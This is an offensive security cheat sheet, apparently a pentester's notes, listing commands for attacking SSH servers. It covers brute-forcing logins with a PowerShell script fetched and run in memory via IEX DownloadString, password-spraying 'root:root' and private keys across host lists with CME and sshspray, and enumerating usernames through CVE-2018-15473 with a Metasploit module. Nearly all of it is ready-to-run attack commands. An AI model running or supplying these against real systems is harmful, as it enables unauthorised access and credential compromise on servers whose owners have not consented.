SSH

Secure Shell

Brute Force

• https://github.com/InfosecMatter/SSH-PuTTY-login-bruteforcer

From Windows:

PS > curl https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -o plink.exe
PS > IEX(New-Object Net.WebClient).DownloadString("https://github.com/InfosecMatter/SSH-PuTTY-login-bruteforcer/raw/master/ssh-putty-brute.ps1")
PS > ssh-putty-brute -h 192.168.1.11 -p 22 -u root -pw 'Passw0rd!'
PS > ssh-putty-brute -h 192.168.1.11 -p 22 -u root -pw (gc .\passwords.txt)

Password Spray

• https://github.com/mcorybillington/sshspray

A list of targets with different SSH ports:

$ das parse ssh -raw | cut -c 7- | awk -F: '{print $1}' > ssh_hosts
$ das parse ssh -raw | cut -c 7- | awk -F: '{print $2}' > ssh_ports
$ paste ssh_hosts ssh_ports | while read host port; do cme ssh $host -u root -p root --port $port; done

Password spray with a private key and passphrase Passw0rd! using CME:

$ cme ssh 192.168.1.11 -u snovvcrash -p 'Passw0rd!' --key-file id_rsa

Using sshspray:

$ python3 sshspray.py -u snovvcrash -i ~/.ssh/id_rsa -t ssh.txt

Enum Users

CVE-2018-15473

msf > use auxiliary/scanner/ssh/ssh_enumusers
msf > set CHECK_FALSE true
msf > set RHOSTS file:ssh.txt
msf > set THREADS 25
msf > set USERNAME root
msf > run